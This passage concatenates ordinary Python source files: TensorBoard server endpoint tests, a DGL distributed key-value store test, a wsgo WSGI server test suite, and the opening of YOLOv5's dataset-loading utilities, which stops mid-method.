self.assertEqual(len(values), self._SCALAR_COUNT)
def testImages(self):
"""Test listing images and retrieving an individual image."""
image_json = self._getJson('/data/images?tag=image&run=run1')
image_query = image_json[0]['query']
# We don't care about the format of the image query.
del image_json[0]['query']
self.assertEqual(image_json, [{
'wall_time': 0,
'step': 0,
'height': 1,
'width': 1
}])
response = self._get('/data/individualImage?%s' % image_query)
self.assertEqual(response.status, 200)
def testAudio(self):
"""Test listing audio and retrieving an individual audio clip."""
audio_json = self._getJson('/data/audio?tag=audio&run=run1')
audio_query = audio_json[0]['query']
# We don't care about the format of the audio query.
del audio_json[0]['query']
self.assertEqual(audio_json, [{
'wall_time': 0,
'step': 0,
'content_type': 'audio/wav'
}])
response = self._get('/data/individualAudio?%s' % audio_query)
self.assertEqual(response.status, 200)
def testGraph(self):
"""Test retrieving the graph definition."""
response = self._get('/data/graph?run=run1&limit_attr_size=1024'
'&large_attrs_key=_very_large_attrs')
self.assertEqual(response.status, 200)
graph_pbtxt = response.read()
# Parse the graph from pbtxt into a graph message.
graph = tf.GraphDef()
graph = text_format.Parse(graph_pbtxt, graph)
self.assertEqual(len(graph.node), 2)
self.assertEqual(graph.node[0].name, 'a')
self.assertEqual(graph.node[1].name, 'b')
# Make sure the second node has an attribute that was filtered out because
# it was too large and was added to the "too large" attributes list.
self.assertEqual(list(graph.node[1].attr.keys()), ['_very_large_attrs'])
self.assertEqual(graph.node[1].attr['_very_large_attrs'].list.s,
[b'very_large_attr'])
def testProjectorRunsWithEmbeddings(self):
"""Test the format of /runs endpoint in projector."""
if 'projector' not in REGISTERED_PLUGINS:
return
run_json = self._getJson('/data/plugin/projector/runs')
self.assertEqual(run_json, ['run1'])
def testProjectorInfo(self):
"""Test the format of /info endpoint in projector."""
if 'projector' not in REGISTERED_PLUGINS:
return
info_json = self._getJson('/data/plugin/projector/info?run=run1')
self.assertItemsEqual(info_json['embeddings'], [
{
'tensorShape': [1, 2],
'tensorName': 'var1'
},
{
'tensorShape': [10, 10],
'tensorName': 'var2'
},
{
'tensorShape': [100, 100],
'tensorName': 'var3'
}
])
def testProjectorTensor(self):
"""Test the format of /tensor endpoint in projector."""
if 'projector' not in REGISTERED_PLUGINS:
return
url = '/data/plugin/projector/tensor?run=run1&name=var1'
tensor_bytes = self._get(url).read()
tensor = np.reshape(np.fromstring(tensor_bytes, dtype='float32'), [1, 2])
expected_tensor = np.array([[6, 6]], dtype='float32')
self.assertTrue(np.array_equal(tensor, expected_tensor))
def testAcceptGzip_compressesResponse(self):
response = self._get('/data/graph?run=run1&limit_attr_size=1024'
'&large_attrs_key=_very_large_attrs',
{'Accept-Encoding': 'gzip'})
self.assertEqual(response.status, 200)
self.assertEqual(response.getheader('Content-Encoding'), 'gzip')
pbtxt = gzip.GzipFile('', 'rb', 9, BytesIO(response.read())).read()
graph = text_format.Parse(pbtxt, tf.GraphDef())
self.assertEqual(len(graph.node), 2)
def testAcceptAnyEncoding_compressesResponse(self):
response = self._get('/data/graph?run=run1&limit_attr_size=1024'
'&large_attrs_key=_very_large_attrs',
{'Accept-Encoding': '*'})
self.assertEqual(response.status, 200)
self.assertEqual(response.getheader('Content-Encoding'), 'gzip')
pbtxt = gzip.GzipFile('', 'rb', 9, BytesIO(response.read())).read()
graph = text_format.Parse(pbtxt, tf.GraphDef())
self.assertEqual(len(graph.node), 2)
def testAcceptDoodleEncoding_doesNotCompressResponse(self):
response = self._get('/data/graph?run=run1&limit_attr_size=1024'
'&large_attrs_key=_very_large_attrs',
{'Accept-Encoding': 'doodle'})
self.assertEqual(response.status, 200)
self.assertIsNone(response.getheader('Content-Encoding'))
graph = text_format.Parse(response.read(), tf.GraphDef())
self.assertEqual(len(graph.node), 2)
def testAcceptGzip_doesNotCompressImage(self):
response = self._get('/data/individualImage?run=run1&tag=image&index=0',
{'Accept-Encoding': 'gzip'})
self.assertEqual(response.status, 200)
self.assertEqual(response.getheader('Content-Encoding'), None)
def testRunMetadata(self):
"""Test retrieving the run metadata information."""
response = self._get('/data/run_metadata?run=run1&tag=test%20run')
self.assertEqual(response.status, 200)
run_metadata_pbtxt = response.read()
# Parse from pbtxt into a message.
run_metadata = tf.RunMetadata()
text_format.Parse(run_metadata_pbtxt, run_metadata)
self.assertEqual(len(run_metadata.step_stats.dev_stats), 1)
self.assertEqual(run_metadata.step_stats.dev_stats[0].device, 'test device')
def _GenerateTestData(self):
"""Generates the test data directory.
The test data has a single run named run1 which contains:
- a histogram
- an image at timestamp and step 0
- scalar events containing the value i at step 10 * i and wall time
100 * i, for i in [1, _SCALAR_COUNT).
- a graph definition
Returns:
temp_dir: The directory the test data is generated under.
"""
temp_dir = tempfile.mkdtemp(prefix=self.get_temp_dir())
self.addCleanup(shutil.rmtree, temp_dir)
run1_path = os.path.join(temp_dir, 'run1')
os.makedirs(run1_path)
writer = tf.train.SummaryWriter(run1_path)
histogram_value = tf.HistogramProto(min=0,
max=2,
num=3,
sum=6,
sum_squares=5,
bucket_limit=[0, 1, 2],
bucket=[1, 1, 1])
# Add a simple graph event.
graph_def = tf.GraphDef()
node1 = graph_def.node.add()
node1.name = 'a'
node2 = graph_def.node.add()
node2.name = 'b'
node2.attr['very_large_attr'].s = b'a' * 2048 # 2 KB attribute
meta_graph_def = meta_graph_pb2.MetaGraphDef(graph_def=graph_def)
if self._only_use_meta_graph:
writer.add_meta_graph(meta_graph_def)
else:
writer.add_graph(graph_def)
# Add a simple run metadata event.
run_metadata = tf.RunMetadata()
device_stats = run_metadata.step_stats.dev_stats.add()
device_stats.device = 'test device'
writer.add_run_metadata(run_metadata, 'test run')
# 1x1 transparent GIF.
encoded_image = base64.b64decode(
'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7')
image_value = tf.Summary.Image(height=1,
width=1,
colorspace=1,
encoded_image_string=encoded_image)
audio_value = tf.Summary.Audio(sample_rate=44100,
length_frames=22050,
num_channels=2,
encoded_audio_string=b'',
content_type='audio/wav')
writer.add_event(tf.Event(wall_time=0,
step=0,
summary=tf.Summary(value=[
tf.Summary.Value(tag='histogram',
histo=histogram_value),
tf.Summary.Value(tag='image',
image=image_value),
tf.Summary.Value(tag='audio',
audio=audio_value)
])))
# Write 100 simple values.
for i in xrange(1, self._SCALAR_COUNT + 1):
writer.add_event(tf.Event(
# We use different values for wall time, step, and the value so we can
# tell them apart.
wall_time=100 * i,
step=10 * i,
summary=tf.Summary(value=[tf.Summary.Value(tag='simple_values',
simple_value=i)])))
writer.flush()
writer.close()
if 'projector' in REGISTERED_PLUGINS:
self._GenerateProjectorTestData(run1_path)
return temp_dir
def _GenerateProjectorTestData(self, run_path):
# Write a projector config file in run1.
config_path = os.path.join(run_path, 'projector_config.pbtxt')
config = ProjectorConfig()
embedding = config.embeddings.add()
# Add an embedding by its canonical tensor name.
embedding.tensor_name = 'var1:0'
config_pbtxt = text_format.MessageToString(config)
with tf.gfile.GFile(config_path, 'w') as f:
f.write(config_pbtxt)
# Write a checkpoint with some dummy variables.
with tf.Graph().as_default():
sess = tf.Session()
checkpoint_path = os.path.join(run_path, 'model')
tf.get_variable(
'var1', [1, 2], initializer=tf.constant_initializer(6.0))
tf.get_variable('var2', [10, 10])
tf.get_variable('var3', [100, 100])
sess.run(tf.global_variables_initializer())
saver = tf.train.Saver(write_version=tf.train.SaverDef.V1)
saver.save(sess, checkpoint_path)
class TensorboardServerUsingMetagraphOnlyTest(TensorboardServerTest):
# Tests new ability to use only the MetaGraphDef
_only_use_meta_graph = True # Server data contains only a MetaGraphDef
class ParseEventFilesSpecTest(tf.test.TestCase):
def testRunName(self):
logdir_string = 'lol:/cat'
expected = {'/cat': 'lol'}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testPathWithColonThatComesAfterASlash_isNotConsideredARunName(self):
logdir_string = '/lol:/cat'
expected = {'/lol:/cat': None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testMultipleDirectories(self):
logdir_string = '/a,/b'
expected = {'/a': None, '/b': None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testNormalizesPaths(self):
logdir_string = '/lol/.//cat/../cat'
expected = {'/lol/cat': None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testAbsolutifies(self):
logdir_string = 'lol/cat'
expected = {os.path.realpath('lol/cat'): None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testRespectsGCSPath(self):
logdir_string = 'gs://foo/path'
expected = {'gs://foo/path': None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testDoesNotExpandUserInGCSPath(self):
logdir_string = 'gs://~/foo/path'
expected = {'gs://~/foo/path': None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testDoesNotNormalizeGCSPath(self):
logdir_string = 'gs://foo/./path//..'
expected = {'gs://foo/./path//..': None}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
def testRunNameWithGCSPath(self):
logdir_string = 'lol:gs://foo/path'
expected = {'gs://foo/path': 'lol'}
self.assertEqual(server.ParseEventFilesSpec(logdir_string), expected)
class TensorBoardAssetsTest(tf.test.TestCase):
def testTagFound(self):
tag = resource_loader.load_resource('tensorboard/TAG')
self.assertTrue(tag)
if __name__ == '__main__':
tf.test.main()
|
test_new_kvstore.py | import os
import time
import numpy as np
import socket
from scipy import sparse as spsp
import dgl
import backend as F
import unittest
from dgl.graph_index import create_graph_index
import multiprocessing as mp
from numpy.testing import assert_array_equal
if os.name != 'nt':
import fcntl
import struct
def get_local_usable_addr():
"""Get local usable IP and port
Returns
-------
str
IP address, e.g., '192.168.8.12:50051'
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
sock.connect(('10.255.255.255', 1))
ip_addr = sock.getsockname()[0]
except ValueError:
ip_addr = '127.0.0.1'
finally:
sock.close()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("", 0))
sock.listen(1)
port = sock.getsockname()[1]
sock.close()
return ip_addr + ' ' + str(port)
# Create an one-part Graph
node_map = F.tensor([0,0,0,0,0,0], F.int64)
edge_map = F.tensor([0,0,0,0,0,0,0], F.int64)
global_nid = F.tensor([0,1,2,3,4,5], F.int64)
global_eid = F.tensor([0,1,2,3,4,5,6], F.int64)
g = dgl.DGLGraph()
g.add_nodes(6)
g.add_edges(0, 1) # 0
g.add_edges(0, 2) # 1
g.add_edges(0, 3) # 2
g.add_edges(2, 3) # 3
g.add_edges(1, 1) # 4
g.add_edges(0, 4) # 5
g.add_edges(2, 5) # 6
g.ndata[dgl.NID] = global_nid
g.edata[dgl.EID] = global_eid
gpb = dgl.distributed.GraphPartitionBook(part_id=0,
num_parts=1,
node_map=node_map,
edge_map=edge_map,
part_graph=g)
node_policy = dgl.distributed.PartitionPolicy(policy_str='node',
partition_book=gpb)
edge_policy = dgl.distributed.PartitionPolicy(policy_str='edge',
partition_book=gpb)
data_0 = F.tensor([[1.,1.],[1.,1.],[1.,1.],[1.,1.],[1.,1.],[1.,1.]], F.float32)
data_0_1 = F.tensor([1.,2.,3.,4.,5.,6.], F.float32)
data_0_2 = F.tensor([1,2,3,4,5,6], F.int32)
data_0_3 = F.tensor([1,2,3,4,5,6], F.int64)
data_1 = F.tensor([[2.,2.],[2.,2.],[2.,2.],[2.,2.],[2.,2.],[2.,2.],[2.,2.]], F.float32)
data_2 = F.tensor([[0.,0.],[0.,0.],[0.,0.],[0.,0.],[0.,0.],[0.,0.]], F.float32)
def init_zero_func(shape, dtype):
return F.zeros(shape, dtype, F.cpu())
def udf_push(target, name, id_tensor, data_tensor):
target[name][id_tensor] = data_tensor * data_tensor
def add_push(target, name, id_tensor, data_tensor):
target[name][id_tensor] += data_tensor
@unittest.skipIf(os.name == 'nt' or os.getenv('DGLBACKEND') == 'tensorflow', reason='Do not support windows and TF yet')
def test_partition_policy():
assert node_policy.policy_str == 'node'
assert edge_policy.policy_str == 'edge'
assert node_policy.part_id == 0
assert edge_policy.part_id == 0
local_nid = node_policy.to_local(F.tensor([0,1,2,3,4,5]))
local_eid = edge_policy.to_local(F.tensor([0,1,2,3,4,5,6]))
assert_array_equal(F.asnumpy(local_nid), F.asnumpy(F.tensor([0,1,2,3,4,5], F.int64)))
assert_array_equal(F.asnumpy(local_eid), F.asnumpy(F.tensor([0,1,2,3,4,5,6], F.int64)))
nid_partid = node_policy.to_partid(F.tensor([0,1,2,3,4,5], F.int64))
eid_partid = edge_policy.to_partid(F.tensor([0,1,2,3,4,5,6], F.int64))
assert_array_equal(F.asnumpy(nid_partid), F.asnumpy(F.tensor([0,0,0,0,0,0], F.int64)))
assert_array_equal(F.asnumpy(eid_partid), F.asnumpy(F.tensor([0,0,0,0,0,0,0], F.int64)))
assert node_policy.get_data_size() == len(node_map)
assert edge_policy.get_data_size() == len(edge_map)
def start_server(server_id, num_clients):
# Init kvserver
print("Sleep 5 seconds to test client re-connect.")
time.sleep(5)
kvserver = dgl.distributed.KVServer(server_id=server_id,
ip_config='kv_ip_config.txt',
num_clients=num_clients)
kvserver.add_part_policy(node_policy)
kvserver.add_part_policy(edge_policy)
if kvserver.is_backup_server():
kvserver.init_data('data_0', 'node')
kvserver.init_data('data_0_1', 'node')
kvserver.init_data('data_0_2', 'node')
kvserver.init_data('data_0_3', 'node')
else:
kvserver.init_data('data_0', 'node', data_0)
kvserver.init_data('data_0_1', 'node', data_0_1)
kvserver.init_data('data_0_2', 'node', data_0_2)
kvserver.init_data('data_0_3', 'node', data_0_3)
# start server
server_state = dgl.distributed.ServerState(kv_store=kvserver, local_g=None, partition_book=None)
dgl.distributed.start_server(server_id=server_id,
ip_config='kv_ip_config.txt',
num_clients=num_clients,
server_state=server_state)
def start_server_mul_role(server_id, num_clients):
# Init kvserver
kvserver = dgl.distributed.KVServer(server_id=server_id,
ip_config='kv_ip_mul_config.txt',
num_clients=num_clients)
kvserver.add_part_policy(node_policy)
if kvserver.is_backup_server():
kvserver.init_data('data_0', 'node')
else:
kvserver.init_data('data_0', 'node', data_0)
# start server
server_state = dgl.distributed.ServerState(kv_store=kvserver, local_g=None, partition_book=None)
dgl.distributed.start_server(server_id=server_id,
ip_config='kv_ip_mul_config.txt',
num_clients=num_clients,
server_state=server_state)
def start_client(num_clients):
os.environ['DGL_DIST_MODE'] = 'distributed'
# Note: connect to server first !
dgl.distributed.initialize(ip_config='kv_ip_config.txt')
# Init kvclient
kvclient = dgl.distributed.KVClient(ip_config='kv_ip_config.txt')
kvclient.map_shared_data(partition_book=gpb)
assert dgl.distributed.get_num_client() == num_clients
kvclient.init_data(name='data_1',
shape=F.shape(data_1),
dtype=F.dtype(data_1),
part_policy=edge_policy,
init_func=init_zero_func)
kvclient.init_data(name='data_2',
shape=F.shape(data_2),
dtype=F.dtype(data_2),
part_policy=node_policy,
init_func=init_zero_func)
# Test data_name_list
name_list = kvclient.data_name_list()
print(name_list)
assert 'data_0' in name_list
assert 'data_0_1' in name_list
assert 'data_0_2' in name_list
assert 'data_0_3' in name_list
assert 'data_1' in name_list
assert 'data_2' in name_list
# Test get_meta_data
meta = kvclient.get_data_meta('data_0')
dtype, shape, policy = meta
assert dtype == F.dtype(data_0)
assert shape == F.shape(data_0)
assert policy.policy_str == 'node'
meta = kvclient.get_data_meta('data_0_1')
dtype, shape, policy = meta
assert dtype == F.dtype(data_0_1)
assert shape == F.shape(data_0_1)
assert policy.policy_str == 'node'
meta = kvclient.get_data_meta('data_0_2')
dtype, shape, policy = meta
assert dtype == F.dtype(data_0_2)
assert shape == F.shape(data_0_2)
assert policy.policy_str == 'node'
meta = kvclient.get_data_meta('data_0_3')
dtype, shape, policy = meta
assert dtype == F.dtype(data_0_3)
assert shape == F.shape(data_0_3)
assert policy.policy_str == 'node'
meta = kvclient.get_data_meta('data_1')
dtype, shape, policy = meta
assert dtype == F.dtype(data_1)
assert shape == F.shape(data_1)
assert policy.policy_str == 'edge'
meta = kvclient.get_data_meta('data_2')
dtype, shape, policy = meta
assert dtype == F.dtype(data_2)
assert shape == F.shape(data_2)
assert policy.policy_str == 'node'
# Test push and pull
id_tensor = F.tensor([0,2,4], F.int64)
data_tensor = F.tensor([[6.,6.],[6.,6.],[6.,6.]], F.float32)
kvclient.push(name='data_0',
id_tensor=id_tensor,
data_tensor=data_tensor)
kvclient.push(name='data_1',
id_tensor=id_tensor,
data_tensor=data_tensor)
kvclient.push(name='data_2',
id_tensor=id_tensor,
data_tensor=data_tensor)
res = kvclient.pull(name='data_0', id_tensor=id_tensor)
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
res = kvclient.pull(name='data_1', id_tensor=id_tensor)
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
res = kvclient.pull(name='data_2', id_tensor=id_tensor)
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
# Register new push handler
kvclient.register_push_handler('data_0', udf_push)
kvclient.register_push_handler('data_1', udf_push)
kvclient.register_push_handler('data_2', udf_push)
# Test push and pull
kvclient.push(name='data_0',
id_tensor=id_tensor,
data_tensor=data_tensor)
kvclient.push(name='data_1',
id_tensor=id_tensor,
data_tensor=data_tensor)
kvclient.push(name='data_2',
id_tensor=id_tensor,
data_tensor=data_tensor)
kvclient.barrier()
data_tensor = data_tensor * data_tensor
res = kvclient.pull(name='data_0', id_tensor=id_tensor)
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
res = kvclient.pull(name='data_1', id_tensor=id_tensor)
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
res = kvclient.pull(name='data_2', id_tensor=id_tensor)
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
# Test delete data
kvclient.delete_data('data_0')
kvclient.delete_data('data_1')
kvclient.delete_data('data_2')
# Register new push handler
kvclient.init_data(name='data_3',
shape=F.shape(data_2),
dtype=F.dtype(data_2),
part_policy=node_policy,
init_func=init_zero_func)
kvclient.register_push_handler('data_3', add_push)
data_tensor = F.tensor([[6.,6.],[6.,6.],[6.,6.]], F.float32)
kvclient.barrier()
time.sleep(kvclient.client_id + 1)
print("add...")
kvclient.push(name='data_3',
id_tensor=id_tensor,
data_tensor=data_tensor)
kvclient.barrier()
res = kvclient.pull(name='data_3', id_tensor=id_tensor)
data_tensor = data_tensor * num_clients
assert_array_equal(F.asnumpy(res), F.asnumpy(data_tensor))
def start_client_mul_role(i, num_workers):
os.environ['DGL_DIST_MODE'] = 'distributed'
# Initialize creates kvstore !
dgl.distributed.initialize(ip_config='kv_ip_mul_config.txt', num_workers=num_workers)
if i == 0: # block one trainer
time.sleep(5)
kvclient = dgl.distributed.kvstore.get_kvstore()
kvclient.barrier()
print("i: %d role: %s" % (i, kvclient.role))
assert dgl.distributed.role.get_num_trainers() == 2
assert dgl.distributed.role.get_trainer_rank() < 2
print('trainer rank: %d, global rank: %d' % (dgl.distributed.role.get_trainer_rank(),
dgl.distributed.role.get_global_rank()))
dgl.distributed.exit_client()
@unittest.skipIf(os.name == 'nt' or os.getenv('DGLBACKEND') == 'tensorflow', reason='Do not support windows and TF yet')
def test_kv_store():
ip_config = open("kv_ip_config.txt", "w")
num_servers = 2
num_clients = 2
ip_addr = get_local_usable_addr()
ip_config.write('{} {}\n'.format(ip_addr, num_servers))
ip_config.close()
ctx = mp.get_context('spawn')
pserver_list = []
pclient_list = []
for i in range(num_servers):
pserver = ctx.Process(target=start_server, args=(i, num_clients))
pserver.start()
pserver_list.append(pserver)
for i in range(num_clients):
pclient = ctx.Process(target=start_client, args=(num_clients,))
pclient.start()
pclient_list.append(pclient)
for i in range(num_clients):
pclient_list[i].join()
for i in range(num_servers):
pserver_list[i].join()
@unittest.skipIf(os.name == 'nt' or os.getenv('DGLBACKEND') == 'tensorflow', reason='Do not support windows and TF yet')
def test_kv_multi_role():
ip_config = open("kv_ip_mul_config.txt", "w")
num_servers = 2
num_trainers = 2
num_samplers = 2
# There are two trainer processes and each trainer process has two sampler processes.
num_clients = num_trainers * (1 + num_samplers)
ip_addr = get_local_usable_addr()
ip_config.write('{} {}\n'.format(ip_addr, num_servers))
ip_config.close()
ctx = mp.get_context('spawn')
pserver_list = []
pclient_list = []
for i in range(num_servers):
pserver = ctx.Process(target=start_server_mul_role, args=(i, num_clients))
pserver.start()
pserver_list.append(pserver)
for i in range(num_trainers):
pclient = ctx.Process(target=start_client_mul_role, args=(i, num_samplers))
pclient.start()
pclient_list.append(pclient)
for i in range(num_trainers):
pclient_list[i].join()
for i in range(num_servers):
pserver_list[i].join()
if __name__ == '__main__':
test_partition_policy()
test_kv_store()
test_kv_multi_role()
|
basic.py | import os
import random
import requests
import subprocess
import sys
import threading
import time
import unittest
class BasicTests(unittest.TestCase):
def setUp(self):
self.process = None
def tearDown(self):
if self.process:
self.process.terminate()
self.process.wait()
def start(self, *args):
self.process = subprocess.Popen(
['/code/bin/wsgo'] + list(args),
cwd=os.path.dirname(__file__),
#start_new_session=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Pass through process stdout/stderr to system one, which might not be a
# proper fd if it is being buffered by unittest so we need to do it
# manually.
def passthrough(inp, out):
while True:
v = inp.read(1)
if len(v)==0:
break
out.write(v.decode('utf-8'))
inp.close()
# Wait for process to return the first line of output
print(self.process.stderr.readline())
# Then shuffle the rest through with threads
threading.Thread(target=passthrough, args=(self.process.stdout, sys.stdout)).start()
threading.Thread(target=passthrough, args=(self.process.stderr, sys.stderr)).start()
def test_get(self):
self.start('--module', 'wsgi_app', '--process', '1')
r = requests.get('http://localhost:8000')
self.assertEqual(r.status_code, 200)
def test_wait(self):
self.start('--module', 'wsgi_app', '--process', '1')
try:
r = requests.get('http://localhost:8000/wait/', timeout=0.001)
except requests.exceptions.ReadTimeout as e: pass
time.sleep(2)
self.assertNotIn("calling start_response", sys.stdout.getvalue())
def test_post(self):
self.start('--module', 'wsgi_app', '--process', '1')
r = requests.post('http://localhost:8000', data={
'key1':'value1 \U0001F600',
'key2\U0001F600':'value2',
})
self.assertEqual(r.status_code, 200)
def test_huge_post(self):
self.start('--module', 'wsgi_app', '--process', '1')
r = requests.post('http://localhost:8000', data={
'key1':'value1 \U0001F600',
'key2\U0001F600':'value2',
}, files={
'upload':b'0123456789'*1000000
})
self.assertEqual(r.status_code, 200)
def test_repeated_headers(self):
self.start('--module', 'wsgi_app', '--process', '1')
r = requests.get('http://localhost:8000')
self.assertEqual(r.cookies['cookie1'], 'cookievalue1')
self.assertEqual(r.cookies['cookie2'], 'cookievalue2')
self.assertEqual(r.cookies['cookie3'], 'cookievalue3')
def test_threading(self):
self.start('--module', 'wsgi_app', '--process', '1')
def go():
r = requests.get('http://localhost:8000/output/', timeout=5)
assert len(r.content)==500000000
for i in range(16):
threading.Thread(target=go).start()
time.sleep(2)
#print(sys.stdout.getvalue())
if __name__ == '__main__':
unittest.main(buffer=True)
|
datasets.py | # YOLOv5 🚀 by Ultralytics, GPL-3.0 license
"""
Dataloaders and dataset utils
"""
import glob
import hashlib
import json
import os
import random
import shutil
import time
from itertools import repeat
from multiprocessing.pool import Pool, ThreadPool
from pathlib import Path
from threading import Thread
from zipfile import ZipFile
import cv2
import numpy as np
import torch
import torch.nn.functional as F
import yaml
from PIL import ExifTags, Image, ImageOps
from torch.utils.data import DataLoader, Dataset, dataloader, distributed
from tqdm import tqdm
from utils.augmentations import Albumentations, augment_hsv, copy_paste, letterbox, mixup, random_perspective
from utils.general import (LOGGER, check_dataset, check_requirements, check_yaml, clean_str, segments2boxes, xyn2xy,
xywh2xyxy, xywhn2xyxy, xyxy2xywhn)
from utils.torch_utils import torch_distributed_zero_first
# Parameters
HELP_URL = 'https://github.com/ultralytics/yolov5/wiki/Train-Custom-Data'
IMG_FORMATS = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo'] # acceptable image suffixes
VID_FORMATS = ['mov', 'avi', 'mp4', 'mpg', 'mpeg', 'm4v', 'wmv', 'mkv'] # acceptable video suffixes
WORLD_SIZE = int(os.getenv('WORLD_SIZE', 1)) # DPP
NUM_THREADS = min(8, os.cpu_count()) # number of multiprocessing threads
# Get orientation exif tag
for orientation in ExifTags.TAGS.keys():
if ExifTags.TAGS[orientation] == 'Orientation':
break
def get_hash(paths):
# Returns a single hash value of a list of paths (files or dirs)
size = sum(os.path.getsize(p) for p in paths if os.path.exists(p)) # sizes
h = hashlib.md5(str(size).encode()) # hash sizes
h.update(''.join(paths).encode()) # hash paths
return h.hexdigest() # return hash
def exif_size(img):
# Returns exif-corrected PIL size
s = img.size # (width, height)
try:
rotation = dict(img._getexif().items())[orientation]
if rotation == 6: # rotation 270
s = (s[1], s[0])
elif rotation == 8: # rotation 90
s = (s[1], s[0])
except:
pass
return s
def exif_transpose(image):
"""
Transpose a PIL image accordingly if it has an EXIF Orientation tag.
Inplace version of https://github.com/python-pillow/Pillow/blob/master/src/PIL/ImageOps.py exif_transpose()
:param image: The image to transpose.
:return: An image.
"""
exif = image.getexif()
orientation = exif.get(0x0112, 1) # default 1
if orientation > 1:
method = {2: Image.FLIP_LEFT_RIGHT,
3: Image.ROTATE_180,
4: Image.FLIP_TOP_BOTTOM,
5: Image.TRANSPOSE,
6: Image.ROTATE_270,
7: Image.TRANSVERSE,
8: Image.ROTATE_90,
}.get(orientation)
if method is not None:
image = image.transpose(method)
del exif[0x0112]
image.info["exif"] = exif.tobytes()
return image
def create_dataloader(path, imgsz, batch_size, stride, single_cls=False, hyp=None, augment=False, cache=False, pad=0.0,
rect=False, rank=-1, workers=8, image_weights=False, quad=False, prefix='', shuffle=False):
if rect and shuffle:
LOGGER.warning('WARNING: --rect is incompatible with DataLoader shuffle, setting shuffle=False')
shuffle = False
with torch_distributed_zero_first(rank): # init dataset *.cache only once if DDP
dataset = LoadImagesAndLabels(path, imgsz, batch_size,
augment=augment, # augmentation
hyp=hyp, # hyperparameters
rect=rect, # rectangular batches
cache_images=cache,
single_cls=single_cls,
stride=int(stride),
pad=pad,
image_weights=image_weights,
prefix=prefix)
batch_size = min(batch_size, len(dataset))
nw = min([os.cpu_count() // WORLD_SIZE, batch_size if batch_size > 1 else 0, workers]) # number of workers
sampler = None if rank == -1 else distributed.DistributedSampler(dataset, shuffle=shuffle)
loader = DataLoader if image_weights else InfiniteDataLoader # only DataLoader allows for attribute updates
return loader(dataset,
batch_size=batch_size,
shuffle=shuffle and sampler is None,
num_workers=nw,
sampler=sampler,
pin_memory=True,
collate_fn=LoadImagesAndLabels.collate_fn4 if quad else LoadImagesAndLabels.collate_fn), dataset
class InfiniteDataLoader(dataloader.DataLoader):
""" Dataloader that reuses workers
Uses same syntax as vanilla DataLoader
"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
object.__setattr__(self, 'batch_sampler', _RepeatSampler(self.batch_sampler))
self.iterator = super().__iter__()
def __len__(self):
return len(self.batch_sampler.sampler)
def __iter__(self):
for i in range(len(self)):
yield next(self.iterator)
class _RepeatSampler:
""" Sampler that repeats forever
Args:
sampler (Sampler)
"""
def __init__(self, sampler):
self.sampler = sampler
def __iter__(self):
while True:
yield from iter(self.sampler)
class LoadImages:
# YOLOv5 image/video dataloader, i.e. `python detect.py --source image.jpg/vid.mp4`
def __init__(self, path, img_size=640, stride=32, auto=True):
p = str(Path(path).resolve()) # os-agnostic absolute path
if '*' in p:
files = sorted(glob.glob(p, recursive=True)) # glob
elif os.path.isdir(p):
files = sorted(glob.glob(os.path.join(p, '*.*'))) # dir
elif os.path.isfile(p):
files = [p] # files
else:
raise Exception(f'ERROR: {p} does not exist')
images = [x for x in files if x.split('.')[-1].lower() in IMG_FORMATS]
videos = [x for x in files if x.split('.')[-1].lower() in VID_FORMATS]
ni, nv = len(images), len(videos)
self.img_size = img_size
self.stride = stride
self.files = images + videos
self.nf = ni + nv # number of files
self.video_flag = [False] * ni + [True] * nv
self.mode = 'image'
self.auto = auto
if any(videos):
self.new_video(videos[0]) # new video
else:
self.cap = None
assert self.nf > 0, f'No images or videos found in {p}. ' \
f'Supported formats are:\nimages: {IMG_FORMATS}\nvideos: {VID_FORMATS}'
def __iter__(self):
self.count = 0
return self
def __next__(self):
if self.count == self.nf:
raise StopIteration
path = self.files[self.count]
if self.video_flag[self.count]:
# Read video
self.mode = 'video'
ret_val, img0 = self.cap.read()
if not ret_val:
self.count += 1
self.cap.release()
if self.count == self.nf: # last video
raise StopIteration
else:
path = self.files[self.count]
self.new_video(path)
ret_val, img0 = self.cap.read()
self.frame += 1
s = f'video {self.count + 1}/{self.nf} ({self.frame}/{self.frames}) {path}: '
else:
# Read image
self.count += 1
img0 = cv2.imread(path) # BGR
assert img0 is not None, f'Image Not Found {path}'
s = f'image {self.count}/{self.nf} {path}: '
# Padded resize
img = letterbox(img0, self.img_size, stride=self.stride, auto=self.auto)[0]
# Convert
img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB
img = np.ascontiguousarray(img)
return path, img, img0, self.cap, s
def new_video(self, path):
self.frame = 0
self.cap = cv2.VideoCapture(path)
self.frames = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))
def __len__(self):
return self.nf # number of files
class LoadWebcam: # for inference
# YOLOv5 local webcam dataloader, i.e. `python detect.py --source 0`
def __init__(self, pipe='0', img_size=640, stride=32):
self.img_size = img_size
self.stride = stride
self.pipe = eval(pipe) if pipe.isnumeric() else pipe
self.cap = cv2.VideoCapture(self.pipe) # video capture object
self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3) # set buffer size
def __iter__(self):
self.count = -1
return self
def __next__(self):
self.count += 1
if cv2.waitKey(1) == ord('q'): # q to quit
self.cap.release()
cv2.destroyAllWindows()
raise StopIteration
# Read frame
